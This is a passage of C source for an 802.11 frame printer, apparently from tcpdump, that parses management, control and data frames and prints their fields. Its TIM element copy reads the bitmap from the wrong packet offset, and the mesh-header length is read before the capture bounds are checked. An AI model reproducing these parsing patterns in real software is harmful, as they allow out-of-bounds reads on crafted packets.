"(or resetting)", /* 36 */
"Requested from peer STA as it does not want to use the "
"mechanism", /* 37 */
"Requested from peer STA as the STA received frames using the "
"mechanism for which a set up is required", /* 38 */
"Requested from peer STA due to time out", /* 39 */
"Reserved", /* 40 */
"Reserved", /* 41 */
"Reserved", /* 42 */
"Reserved", /* 43 */
"Reserved", /* 44 */
"Peer STA does not support the requested cipher suite", /* 45 */
"Association denied due to requesting STA not supporting HT "
"features", /* 46 */
};
#define NUM_REASONS (sizeof reason_text / sizeof reason_text[0])
static int
wep_print(const u_char *p)
{
u_int32_t iv;
if (!TTEST2(*p, IEEE802_11_IV_LEN + IEEE802_11_KID_LEN))
return 0;
iv = EXTRACT_LE_32BITS(p);
printf("Data IV:%3x Pad %x KeyID %x", IV_IV(iv), IV_PAD(iv),
IV_KEYID(iv));
return 1;
}
static int
parse_elements(struct mgmt_body_t *pbody, const u_char *p, int offset,
u_int length)
{
u_int elementlen;
struct ssid_t ssid;
struct challenge_t challenge;
struct rates_t rates;
struct ds_t ds;
struct cf_t cf;
struct tim_t tim;
/*
* We haven't seen any elements yet.
*/
pbody->challenge_present = 0;
pbody->ssid_present = 0;
pbody->rates_present = 0;
pbody->ds_present = 0;
pbody->cf_present = 0;
pbody->tim_present = 0;
while (length != 0) {
if (!TTEST2(*(p + offset), 1))
return 0;
if (length < 1)
return 0;
switch (*(p + offset)) {
case E_SSID:
if (!TTEST2(*(p + offset), 2))
return 0;
if (length < 2)
return 0;
memcpy(&ssid, p + offset, 2);
offset += 2;
length -= 2;
if (ssid.length != 0) {
if (ssid.length > sizeof(ssid.ssid) - 1)
return 0;
if (!TTEST2(*(p + offset), ssid.length))
return 0;
if (length < ssid.length)
return 0;
memcpy(&ssid.ssid, p + offset, ssid.length);
offset += ssid.length;
length -= ssid.length;
}
ssid.ssid[ssid.length] = '\0';
/*
* Present and not truncated.
*
* If we haven't already seen an SSID IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->ssid_present) {
pbody->ssid = ssid;
pbody->ssid_present = 1;
}
break;
case E_CHALLENGE:
if (!TTEST2(*(p + offset), 2))
return 0;
if (length < 2)
return 0;
memcpy(&challenge, p + offset, 2);
offset += 2;
length -= 2;
if (challenge.length != 0) {
if (challenge.length >
sizeof(challenge.text) - 1)
return 0;
if (!TTEST2(*(p + offset), challenge.length))
return 0;
if (length < challenge.length)
return 0;
memcpy(&challenge.text, p + offset,
challenge.length);
offset += challenge.length;
length -= challenge.length;
}
challenge.text[challenge.length] = '\0';
/*
* Present and not truncated.
*
* If we haven't already seen a challenge IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->challenge_present) {
pbody->challenge = challenge;
pbody->challenge_present = 1;
}
break;
case E_RATES:
if (!TTEST2(*(p + offset), 2))
return 0;
if (length < 2)
return 0;
memcpy(&rates, p + offset, 2);
offset += 2;
length -= 2;
if (rates.length != 0) {
if (rates.length > sizeof rates.rate)
return 0;
if (!TTEST2(*(p + offset), rates.length))
return 0;
if (length < rates.length)
return 0;
memcpy(&rates.rate, p + offset, rates.length);
offset += rates.length;
length -= rates.length;
}
/*
* Present and not truncated.
*
* If we haven't already seen a rates IE,
* copy this one if it's not zero-length,
* otherwise ignore this one, so we later
* report the first one we saw.
*
* We ignore zero-length rates IEs as some
* devices seem to put a zero-length rates
* IE, followed by an SSID IE, followed by
* a non-zero-length rates IE into frames,
* even though IEEE Std 802.11-2007 doesn't
* seem to indicate that a zero-length rates
* IE is valid.
*/
if (!pbody->rates_present && rates.length != 0) {
pbody->rates = rates;
pbody->rates_present = 1;
}
break;
case E_DS:
if (!TTEST2(*(p + offset), 3))
return 0;
if (length < 3)
return 0;
memcpy(&ds, p + offset, 3);
offset += 3;
length -= 3;
/*
* Present and not truncated.
*
* If we haven't already seen a DS IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->ds_present) {
pbody->ds = ds;
pbody->ds_present = 1;
}
break;
case E_CF:
if (!TTEST2(*(p + offset), 8))
return 0;
if (length < 8)
return 0;
memcpy(&cf, p + offset, 8);
offset += 8;
length -= 8;
/*
* Present and not truncated.
*
* If we haven't already seen a CF IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->cf_present) {
pbody->cf = cf;
pbody->cf_present = 1;
}
break;
case E_TIM:
if (!TTEST2(*(p + offset), 2))
return 0;
if (length < 2)
return 0;
memcpy(&tim, p + offset, 2);
offset += 2;
length -= 2;
if (!TTEST2(*(p + offset), 3))
return 0;
if (length < 3)
return 0;
memcpy(&tim.count, p + offset, 3);
offset += 3;
length -= 3;
if (tim.length <= 3)
break;
if (tim.length - 3 > (int)sizeof tim.bitmap)
return 0;
if (!TTEST2(*(p + offset), tim.length - 3))
return 0;
if (length < (u_int)(tim.length - 3))
return 0;
memcpy(tim.bitmap, p + (tim.length - 3),
(tim.length - 3));
offset += tim.length - 3;
length -= tim.length - 3;
/*
* Present and not truncated.
*
* If we haven't already seen a TIM IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->tim_present) {
pbody->tim = tim;
pbody->tim_present = 1;
}
break;
default:
#if 0
printf("(1) unhandled element_id (%d) ",
*(p + offset));
#endif
if (!TTEST2(*(p + offset), 2))
return 0;
if (length < 2)
return 0;
elementlen = *(p + offset + 1);
if (!TTEST2(*(p + offset + 2), elementlen))
return 0;
if (length < elementlen + 2)
return 0;
offset += elementlen + 2;
length -= elementlen + 2;
break;
}
}
/* No problems found. */
return 1;
}
/*********************************************************************************
* Print Handle functions for the management frame types
*********************************************************************************/
static int
handle_beacon(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_TSTAMP_LEN + IEEE802_11_BCNINT_LEN +
IEEE802_11_CAPINFO_LEN))
return 0;
if (length < IEEE802_11_TSTAMP_LEN + IEEE802_11_BCNINT_LEN +
IEEE802_11_CAPINFO_LEN)
return 0;
memcpy(&pbody.timestamp, p, IEEE802_11_TSTAMP_LEN);
offset += IEEE802_11_TSTAMP_LEN;
length -= IEEE802_11_TSTAMP_LEN;
pbody.beacon_interval = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_BCNINT_LEN;
length -= IEEE802_11_BCNINT_LEN;
pbody.capability_info = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_CAPINFO_LEN;
length -= IEEE802_11_CAPINFO_LEN;
ret = parse_elements(&pbody, p, offset, length);
PRINT_SSID(pbody);
PRINT_RATES(pbody);
printf(" %s",
CAPABILITY_ESS(pbody.capability_info) ? "ESS" : "IBSS");
PRINT_DS_CHANNEL(pbody);
return ret;
}
static int
handle_assoc_request(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_CAPINFO_LEN + IEEE802_11_LISTENINT_LEN))
return 0;
if (length < IEEE802_11_CAPINFO_LEN + IEEE802_11_LISTENINT_LEN)
return 0;
pbody.capability_info = EXTRACT_LE_16BITS(p);
offset += IEEE802_11_CAPINFO_LEN;
length -= IEEE802_11_CAPINFO_LEN;
pbody.listen_interval = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_LISTENINT_LEN;
length -= IEEE802_11_LISTENINT_LEN;
ret = parse_elements(&pbody, p, offset, length);
PRINT_SSID(pbody);
PRINT_RATES(pbody);
return ret;
}
static int
handle_assoc_response(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_CAPINFO_LEN + IEEE802_11_STATUS_LEN +
IEEE802_11_AID_LEN))
return 0;
if (length < IEEE802_11_CAPINFO_LEN + IEEE802_11_STATUS_LEN +
IEEE802_11_AID_LEN)
return 0;
pbody.capability_info = EXTRACT_LE_16BITS(p);
offset += IEEE802_11_CAPINFO_LEN;
length -= IEEE802_11_CAPINFO_LEN;
pbody.status_code = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_STATUS_LEN;
length -= IEEE802_11_STATUS_LEN;
pbody.aid = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_AID_LEN;
length -= IEEE802_11_AID_LEN;
ret = parse_elements(&pbody, p, offset, length);
printf(" AID(%x) :%s: %s", ((u_int16_t)(pbody.aid << 2 )) >> 2 ,
CAPABILITY_PRIVACY(pbody.capability_info) ? " PRIVACY " : "",
(pbody.status_code < NUM_STATUSES
? status_text[pbody.status_code]
: "n/a"));
return ret;
}
static int
handle_reassoc_request(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_CAPINFO_LEN + IEEE802_11_LISTENINT_LEN +
IEEE802_11_AP_LEN))
return 0;
if (length < IEEE802_11_CAPINFO_LEN + IEEE802_11_LISTENINT_LEN +
IEEE802_11_AP_LEN)
return 0;
pbody.capability_info = EXTRACT_LE_16BITS(p);
offset += IEEE802_11_CAPINFO_LEN;
length -= IEEE802_11_CAPINFO_LEN;
pbody.listen_interval = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_LISTENINT_LEN;
length -= IEEE802_11_LISTENINT_LEN;
memcpy(&pbody.ap, p+offset, IEEE802_11_AP_LEN);
offset += IEEE802_11_AP_LEN;
length -= IEEE802_11_AP_LEN;
ret = parse_elements(&pbody, p, offset, length);
PRINT_SSID(pbody);
printf(" AP : %s", etheraddr_string( pbody.ap ));
return ret;
}
static int
handle_reassoc_response(const u_char *p, u_int length)
{
/* Same as a Association Reponse */
return handle_assoc_response(p, length);
}
static int
handle_probe_request(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
ret = parse_elements(&pbody, p, offset, length);
PRINT_SSID(pbody);
PRINT_RATES(pbody);
return ret;
}
static int
handle_probe_response(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_TSTAMP_LEN + IEEE802_11_BCNINT_LEN +
IEEE802_11_CAPINFO_LEN))
return 0;
if (length < IEEE802_11_TSTAMP_LEN + IEEE802_11_BCNINT_LEN +
IEEE802_11_CAPINFO_LEN)
return 0;
memcpy(&pbody.timestamp, p, IEEE802_11_TSTAMP_LEN);
offset += IEEE802_11_TSTAMP_LEN;
length -= IEEE802_11_TSTAMP_LEN;
pbody.beacon_interval = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_BCNINT_LEN;
length -= IEEE802_11_BCNINT_LEN;
pbody.capability_info = EXTRACT_LE_16BITS(p+offset);
offset += IEEE802_11_CAPINFO_LEN;
length -= IEEE802_11_CAPINFO_LEN;
ret = parse_elements(&pbody, p, offset, length);
PRINT_SSID(pbody);
PRINT_RATES(pbody);
PRINT_DS_CHANNEL(pbody);
return ret;
}
static int
handle_atim(void)
{
/* the frame body for ATIM is null. */
return 1;
}
static int
handle_disassoc(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_REASON_LEN))
return 0;
if (length < IEEE802_11_REASON_LEN)
return 0;
pbody.reason_code = EXTRACT_LE_16BITS(p);
printf(": %s",
(pbody.reason_code < NUM_REASONS)
? reason_text[pbody.reason_code]
: "Reserved" );
return 1;
}
static int
handle_auth(const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
int ret;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, 6))
return 0;
if (length < 6)
return 0;
pbody.auth_alg = EXTRACT_LE_16BITS(p);
offset += 2;
length -= 2;
pbody.auth_trans_seq_num = EXTRACT_LE_16BITS(p + offset);
offset += 2;
length -= 2;
pbody.status_code = EXTRACT_LE_16BITS(p + offset);
offset += 2;
length -= 2;
ret = parse_elements(&pbody, p, offset, length);
if ((pbody.auth_alg == 1) &&
((pbody.auth_trans_seq_num == 2) ||
(pbody.auth_trans_seq_num == 3))) {
printf(" (%s)-%x [Challenge Text] %s",
(pbody.auth_alg < NUM_AUTH_ALGS)
? auth_alg_text[pbody.auth_alg]
: "Reserved",
pbody.auth_trans_seq_num,
((pbody.auth_trans_seq_num % 2)
? ((pbody.status_code < NUM_STATUSES)
? status_text[pbody.status_code]
: "n/a") : ""));
return ret;
}
printf(" (%s)-%x: %s",
(pbody.auth_alg < NUM_AUTH_ALGS)
? auth_alg_text[pbody.auth_alg]
: "Reserved",
pbody.auth_trans_seq_num,
(pbody.auth_trans_seq_num % 2)
? ((pbody.status_code < NUM_STATUSES)
? status_text[pbody.status_code]
: "n/a")
: "");
return ret;
}
static int
handle_deauth(const struct mgmt_header_t *pmh, const u_char *p, u_int length)
{
struct mgmt_body_t pbody;
int offset = 0;
const char *reason = NULL;
memset(&pbody, 0, sizeof(pbody));
if (!TTEST2(*p, IEEE802_11_REASON_LEN))
return 0;
if (length < IEEE802_11_REASON_LEN)
return 0;
pbody.reason_code = EXTRACT_LE_16BITS(p);
offset += IEEE802_11_REASON_LEN;
length -= IEEE802_11_REASON_LEN;
reason = (pbody.reason_code < NUM_REASONS)
? reason_text[pbody.reason_code]
: "Reserved";
if (eflag) {
printf(": %s", reason);
} else {
printf(" (%s): %s", etheraddr_string(pmh->sa), reason);
}
return 1;
}
#define PRINT_HT_ACTION(v) (\
(v) == 0 ? printf("TxChWidth") : \
(v) == 1 ? printf("MIMOPwrSave") : \
printf("Act#%d", (v)) \
)
#define PRINT_BA_ACTION(v) (\
(v) == 0 ? printf("ADDBA Request") : \
(v) == 1 ? printf("ADDBA Response") : \
(v) == 2 ? printf("DELBA") : \
printf("Act#%d", (v)) \
)
#define PRINT_MESHLINK_ACTION(v) (\
(v) == 0 ? printf("Request") : \
(v) == 1 ? printf("Report") : \
printf("Act#%d", (v)) \
)
#define PRINT_MESHPEERING_ACTION(v) (\
(v) == 0 ? printf("Open") : \
(v) == 1 ? printf("Confirm") : \
(v) == 2 ? printf("Close") : \
printf("Act#%d", (v)) \
)
#define PRINT_MESHPATH_ACTION(v) (\
(v) == 0 ? printf("Request") : \
(v) == 1 ? printf("Report") : \
(v) == 2 ? printf("Error") : \
(v) == 3 ? printf("RootAnnouncement") : \
printf("Act#%d", (v)) \
)
static int
handle_action(const struct mgmt_header_t *pmh, const u_char *p, u_int length)
{
if (!TTEST2(*p, 2))
return 0;
if (length < 2)
return 0;
if (eflag) {
printf(": ");
} else {
printf(" (%s): ", etheraddr_string(pmh->sa));
}
switch (p[0]) {
case 0: printf("Spectrum Management Act#%d", p[1]); break;
case 1: printf("QoS Act#%d", p[1]); break;
case 2: printf("DLS Act#%d", p[1]); break;
case 3: printf("BA "); PRINT_BA_ACTION(p[1]); break;
case 7: printf("HT "); PRINT_HT_ACTION(p[1]); break;
case 13: printf("MeshLMetric "); PRINT_MESHLINK_ACTION(p[1]); break;
case 15: printf("Interwork Act#%d", p[1]); break;
case 16: printf("Resource Act#%d", p[1]); break;
case 17: printf("Proxy Act#%d", p[1]); break;
case 30: printf("MeshPeering "); PRINT_MESHPEERING_ACTION(p[1]); break;
case 32: printf("MeshPath "); PRINT_MESHPATH_ACTION(p[1]); break;
case 127: printf("Vendor Act#%d", p[1]); break;
default:
printf("Reserved(%d) Act#%d", p[0], p[1]);
break;
}
return 1;
}
/*********************************************************************************
* Print Body funcs
*********************************************************************************/
static int
mgmt_body_print(u_int16_t fc, const struct mgmt_header_t *pmh,
const u_char *p, u_int length)
{
switch (FC_SUBTYPE(fc)) {
case ST_ASSOC_REQUEST:
printf("Assoc Request");
return handle_assoc_request(p, length);
case ST_ASSOC_RESPONSE:
printf("Assoc Response");
return handle_assoc_response(p, length);
case ST_REASSOC_REQUEST:
printf("ReAssoc Request");
return handle_reassoc_request(p, length);
case ST_REASSOC_RESPONSE:
printf("ReAssoc Response");
return handle_reassoc_response(p, length);
case ST_PROBE_REQUEST:
printf("Probe Request");
return handle_probe_request(p, length);
case ST_PROBE_RESPONSE:
printf("Probe Response");
return handle_probe_response(p, length);
case ST_BEACON:
printf("Beacon");
return handle_beacon(p, length);
case ST_ATIM:
printf("ATIM");
return handle_atim();
case ST_DISASSOC:
printf("Disassociation");
return handle_disassoc(p, length);
case ST_AUTH:
printf("Authentication");
if (!TTEST2(*p, 3))
return 0;
if ((p[0] == 0 ) && (p[1] == 0) && (p[2] == 0)) {
printf("Authentication (Shared-Key)-3 ");
return wep_print(p);
}
return handle_auth(p, length);
case ST_DEAUTH:
printf("DeAuthentication");
return handle_deauth(pmh, p, length);
break;
case ST_ACTION:
printf("Action");
return handle_action(pmh, p, length);
break;
default:
printf("Unhandled Management subtype(%x)",
FC_SUBTYPE(fc));
return 1;
}
}
/*********************************************************************************
* Handles printing all the control frame types
*********************************************************************************/
static int
ctrl_body_print(u_int16_t fc, const u_char *p)
{
switch (FC_SUBTYPE(fc)) {
case CTRL_CONTROL_WRAPPER:
printf("Control Wrapper");
/* XXX - requires special handling */
break;
case CTRL_BAR:
printf("BAR");
if (!TTEST2(*p, CTRL_BAR_HDRLEN))
return 0;
if (!eflag)
printf(" RA:%s TA:%s CTL(%x) SEQ(%u) ",
etheraddr_string(((const struct ctrl_bar_t *)p)->ra),
etheraddr_string(((const struct ctrl_bar_t *)p)->ta),
EXTRACT_LE_16BITS(&(((const struct ctrl_bar_t *)p)->ctl)),
EXTRACT_LE_16BITS(&(((const struct ctrl_bar_t *)p)->seq)));
break;
case CTRL_BA:
printf("BA");
if (!TTEST2(*p, CTRL_BA_HDRLEN))
return 0;
if (!eflag)
printf(" RA:%s ",
etheraddr_string(((const struct ctrl_ba_t *)p)->ra));
break;
case CTRL_PS_POLL:
printf("Power Save-Poll");
if (!TTEST2(*p, CTRL_PS_POLL_HDRLEN))
return 0;
printf(" AID(%x)",
EXTRACT_LE_16BITS(&(((const struct ctrl_ps_poll_t *)p)->aid)));
break;
case CTRL_RTS:
printf("Request-To-Send");
if (!TTEST2(*p, CTRL_RTS_HDRLEN))
return 0;
if (!eflag)
printf(" TA:%s ",
etheraddr_string(((const struct ctrl_rts_t *)p)->ta));
break;
case CTRL_CTS:
printf("Clear-To-Send");
if (!TTEST2(*p, CTRL_CTS_HDRLEN))
return 0;
if (!eflag)
printf(" RA:%s ",
etheraddr_string(((const struct ctrl_cts_t *)p)->ra));
break;
case CTRL_ACK:
printf("Acknowledgment");
if (!TTEST2(*p, CTRL_ACK_HDRLEN))
return 0;
if (!eflag)
printf(" RA:%s ",
etheraddr_string(((const struct ctrl_ack_t *)p)->ra));
break;
case CTRL_CF_END:
printf("CF-End");
if (!TTEST2(*p, CTRL_END_HDRLEN))
return 0;
if (!eflag)
printf(" RA:%s ",
etheraddr_string(((const struct ctrl_end_t *)p)->ra));
break;
case CTRL_END_ACK:
printf("CF-End+CF-Ack");
if (!TTEST2(*p, CTRL_END_ACK_HDRLEN))
return 0;
if (!eflag)
printf(" RA:%s ",
etheraddr_string(((const struct ctrl_end_ack_t *)p)->ra));
break;
default:
printf("Unknown Ctrl Subtype");
}
return 1;
}
/*
* Print Header funcs
*/
/*
* Data Frame - Address field contents
*
* To Ds | From DS | Addr 1 | Addr 2 | Addr 3 | Addr 4
* 0 | 0 | DA | SA | BSSID | n/a
* 0 | 1 | DA | BSSID | SA | n/a
* 1 | 0 | BSSID | SA | DA | n/a
* 1 | 1 | RA | TA | DA | SA
*/
static void
data_header_print(u_int16_t fc, const u_char *p, const u_int8_t **srcp,
const u_int8_t **dstp)
{
u_int subtype = FC_SUBTYPE(fc);
if (DATA_FRAME_IS_CF_ACK(subtype) || DATA_FRAME_IS_CF_POLL(subtype) ||
DATA_FRAME_IS_QOS(subtype)) {
printf("CF ");
if (DATA_FRAME_IS_CF_ACK(subtype)) {
if (DATA_FRAME_IS_CF_POLL(subtype))
printf("Ack/Poll");
else
printf("Ack");
} else {
if (DATA_FRAME_IS_CF_POLL(subtype))
printf("Poll");
}
if (DATA_FRAME_IS_QOS(subtype))
printf("+QoS");
printf(" ");
}
#define ADDR1 (p + 4)
#define ADDR2 (p + 10)
#define ADDR3 (p + 16)
#define ADDR4 (p + 24)
if (!FC_TO_DS(fc) && !FC_FROM_DS(fc)) {
if (srcp != NULL)
*srcp = ADDR2;
if (dstp != NULL)
*dstp = ADDR1;
if (!eflag)
return;
printf("DA:%s SA:%s BSSID:%s ",
etheraddr_string(ADDR1), etheraddr_string(ADDR2),
etheraddr_string(ADDR3));
} else if (!FC_TO_DS(fc) && FC_FROM_DS(fc)) {
if (srcp != NULL)
*srcp = ADDR3;
if (dstp != NULL)
*dstp = ADDR1;
if (!eflag)
return;
printf("DA:%s BSSID:%s SA:%s ",
etheraddr_string(ADDR1), etheraddr_string(ADDR2),
etheraddr_string(ADDR3));
} else if (FC_TO_DS(fc) && !FC_FROM_DS(fc)) {
if (srcp != NULL)
*srcp = ADDR2;
if (dstp != NULL)
*dstp = ADDR3;
if (!eflag)
return;
printf("BSSID:%s SA:%s DA:%s ",
etheraddr_string(ADDR1), etheraddr_string(ADDR2),
etheraddr_string(ADDR3));
} else if (FC_TO_DS(fc) && FC_FROM_DS(fc)) {
if (srcp != NULL)
*srcp = ADDR4;
if (dstp != NULL)
*dstp = ADDR3;
if (!eflag)
return;
printf("RA:%s TA:%s DA:%s SA:%s ",
etheraddr_string(ADDR1), etheraddr_string(ADDR2),
etheraddr_string(ADDR3), etheraddr_string(ADDR4));
}
#undef ADDR1
#undef ADDR2
#undef ADDR3
#undef ADDR4
}
static void
mgmt_header_print(const u_char *p, const u_int8_t **srcp,
const u_int8_t **dstp)
{
const struct mgmt_header_t *hp = (const struct mgmt_header_t *) p;
if (srcp != NULL)
*srcp = hp->sa;
if (dstp != NULL)
*dstp = hp->da;
if (!eflag)
return;
printf("BSSID:%s DA:%s SA:%s ",
etheraddr_string((hp)->bssid), etheraddr_string((hp)->da),
etheraddr_string((hp)->sa));
}
static void
ctrl_header_print(u_int16_t fc, const u_char *p, const u_int8_t **srcp,
const u_int8_t **dstp)
{
if (srcp != NULL)
*srcp = NULL;
if (dstp != NULL)
*dstp = NULL;
if (!eflag)
return;
switch (FC_SUBTYPE(fc)) {
case CTRL_BAR:
printf(" RA:%s TA:%s CTL(%x) SEQ(%u) ",
etheraddr_string(((const struct ctrl_bar_t *)p)->ra),
etheraddr_string(((const struct ctrl_bar_t *)p)->ta),
EXTRACT_LE_16BITS(&(((const struct ctrl_bar_t *)p)->ctl)),
EXTRACT_LE_16BITS(&(((const struct ctrl_bar_t *)p)->seq)));
break;
case CTRL_BA:
printf("RA:%s ",
etheraddr_string(((const struct ctrl_ba_t *)p)->ra));
break;
case CTRL_PS_POLL:
printf("BSSID:%s TA:%s ",
etheraddr_string(((const struct ctrl_ps_poll_t *)p)->bssid),
etheraddr_string(((const struct ctrl_ps_poll_t *)p)->ta));
break;
case CTRL_RTS:
printf("RA:%s TA:%s ",
etheraddr_string(((const struct ctrl_rts_t *)p)->ra),
etheraddr_string(((const struct ctrl_rts_t *)p)->ta));
break;
case CTRL_CTS:
printf("RA:%s ",
etheraddr_string(((const struct ctrl_cts_t *)p)->ra));
break;
case CTRL_ACK:
printf("RA:%s ",
etheraddr_string(((const struct ctrl_ack_t *)p)->ra));
break;
case CTRL_CF_END:
printf("RA:%s BSSID:%s ",
etheraddr_string(((const struct ctrl_end_t *)p)->ra),
etheraddr_string(((const struct ctrl_end_t *)p)->bssid));
break;
case CTRL_END_ACK:
printf("RA:%s BSSID:%s ",
etheraddr_string(((const struct ctrl_end_ack_t *)p)->ra),
etheraddr_string(((const struct ctrl_end_ack_t *)p)->bssid));
break;
default:
printf("(H) Unknown Ctrl Subtype");
break;
}
}
static int
extract_header_length(u_int16_t fc)
{
int len;
switch (FC_TYPE(fc)) {
case T_MGMT:
return MGMT_HDRLEN;
case T_CTRL:
switch (FC_SUBTYPE(fc)) {
case CTRL_BAR:
return CTRL_BAR_HDRLEN;
case CTRL_PS_POLL:
return CTRL_PS_POLL_HDRLEN;
case CTRL_RTS:
return CTRL_RTS_HDRLEN;
case CTRL_CTS:
return CTRL_CTS_HDRLEN;
case CTRL_ACK:
return CTRL_ACK_HDRLEN;
case CTRL_CF_END:
return CTRL_END_HDRLEN;
case CTRL_END_ACK:
return CTRL_END_ACK_HDRLEN;
default:
return 0;
}
case T_DATA:
len = (FC_TO_DS(fc) && FC_FROM_DS(fc)) ? 30 : 24;
if (DATA_FRAME_IS_QOS(FC_SUBTYPE(fc)))
len += 2;
return len;
default:
printf("unknown IEEE802.11 frame type (%d)", FC_TYPE(fc));
return 0;
}
}
static int
extract_mesh_header_length(const u_char *p)
{
return (p[0] &~ 3) ? 0 : 6*(1 + (p[0] & 3));
}
/*
* Print the 802.11 MAC header if eflag is set, and set "*srcp" and "*dstp"
* to point to the source and destination MAC addresses in any case if
* "srcp" and "dstp" aren't null.
*/
static void
ieee_802_11_hdr_print(u_int16_t fc, const u_char *p, u_int hdrlen,
u_int meshdrlen, const u_int8_t **srcp, const u_int8_t **dstp)
{
if (vflag) {
if (FC_MORE_DATA(fc))
printf("More Data ");
if (FC_MORE_FLAG(fc))
printf("More Fragments ");
if (FC_POWER_MGMT(fc))
printf("Pwr Mgmt ");
if (FC_RETRY(fc))
printf("Retry ");
if (FC_ORDER(fc))
printf("Strictly Ordered ");
if (FC_WEP(fc))
printf("WEP Encrypted ");
if (FC_TYPE(fc) != T_CTRL || FC_SUBTYPE(fc) != CTRL_PS_POLL)
printf("%dus ",
EXTRACT_LE_16BITS(
&((const struct mgmt_header_t *)p)->duration));
}
if (meshdrlen != 0) {
const struct meshcntl_t *mc =
(const struct meshcntl_t *)&p[hdrlen - meshdrlen];
int ae = mc->flags & 3;
printf("MeshData (AE %d TTL %u seq %u", ae, mc->ttl,
EXTRACT_LE_32BITS(mc->seq));
if (ae > 0)
printf(" A4:%s", etheraddr_string(mc->addr4));
if (ae > 1)
printf(" A5:%s", etheraddr_string(mc->addr5));
if (ae > 2)
printf(" A6:%s", etheraddr_string(mc->addr6));
printf(") ");
}
switch (FC_TYPE(fc)) {
case T_MGMT:
mgmt_header_print(p, srcp, dstp);
break;
case T_CTRL:
ctrl_header_print(fc, p, srcp, dstp);
break;
case T_DATA:
data_header_print(fc, p, srcp, dstp);
break;
default:
printf("(header) unknown IEEE802.11 frame type (%d)",
FC_TYPE(fc));
*srcp = NULL;
*dstp = NULL;
break;
}
}
#ifndef roundup2
#define roundup2(x, y) (((x)+((y)-1))&(~((y)-1))) /* if y is powers of two */
#endif
static u_int
ieee802_11_print(const u_char *p, u_int length, u_int orig_caplen, int pad,
u_int fcslen)
{
u_int16_t fc;
u_int caplen, hdrlen, meshdrlen;
const u_int8_t *src, *dst;
u_short extracted_ethertype;
caplen = orig_caplen;
/* Remove FCS, if present */
if (length < fcslen) {
printf("[|802.11]");
return caplen;
}
length -= fcslen;
if (caplen > length) {
/* Amount of FCS in actual packet data, if any */
fcslen = caplen - length;
caplen -= fcslen;
snapend -= fcslen;
}
if (caplen < IEEE802_11_FC_LEN) {
printf("[|802.11]");
return orig_caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
if (pad)
hdrlen = roundup2(hdrlen, 4);
if (Hflag && FC_TYPE(fc) == T_DATA &&
DATA_FRAME_IS_QOS(FC_SUBTYPE(fc))) {
meshdrlen = extract_mesh_header_length(p+hdrlen);
hdrlen += meshdrlen;
} else
meshdrlen = 0;
if (caplen < hdrlen) {
printf("[|802.11]");
return hdrlen;
}
ieee_802_11_hdr_print(fc, p, hdrlen, meshdrlen, &src, &dst);
/*
* Go past the 802.11 header.
*/
length -= hdrlen;
caplen -= hdrlen;
p += hdrlen;
switch (FC_TYPE(fc)) {
case T_MGMT:
if (!mgmt_body_print(fc,
(const struct mgmt_header_t *)(p - hdrlen), p, length)) {
printf("[|802.11]");
return hdrlen;
}
break;
case T_CTRL:
if (!ctrl_body_print(fc, p - hdrlen)) {
printf("[|802.11]");
return hdrlen;
}
break;
case T_DATA:
if (DATA_FRAME_IS_NULL(FC_SUBTYPE(fc)))
return hdrlen; /* no-data frame */
/* There may be a problem w/ AP not having this bit set */
if (FC_WEP(fc)) {
if (!wep_print(p)) {
printf("[|802.11]");
return hdrlen;
}
} else if (llc_print(p, length, caplen, dst, src,
&extracted_ethertype) == 0) {
/*
* Some kinds of LLC packet we cannot
* handle intelligently
*/
if (!eflag)
ieee_802_11_hdr_print(fc, p - hdrlen, hdrlen,
meshdrlen, NULL, NULL);
if (extracted_ethertype)
printf("(LLC %s) ",
etherproto_string(
htons(extracted_ethertype)));
if (!suppress_default_print)
default_print(p, caplen);
}
break;
default:
printf("unknown 802.11 frame type (%d)", FC_TYPE(fc));
break;
}
return hdrlen;
}
/*
* This is the top level routine of the printer. 'p' points
* to the 802.11 header of the packet, 'h->ts' is the timestamp,
* 'h->len' is the length of the packet off the wire, and 'h->caplen'
* is the number of bytes actually captured.
*/
u_int
ieee802_11_if_print(const struct pcap_pkthdr *h, const u_char *p)
{
return ieee802_11_print(p, h->len, h->caplen, 0, 0);
}
#define IEEE80211_CHAN_FHSS \
(IEEE80211_CHAN_2GHZ | IEEE80211_CHAN_GFSK)
#define IEEE80211_CHAN_A \
(IEEE80211_CHAN_5GHZ | IEEE80211_CHAN_OFDM)
#define IEEE80211_CHAN_B \
(IEEE80211_CHAN_2GHZ | IEEE80211_CHAN_CCK)
#define IEEE80211_CHAN_PUREG \
(IEEE80211_CHAN_2GHZ | IEEE80211_CHAN_OFDM)
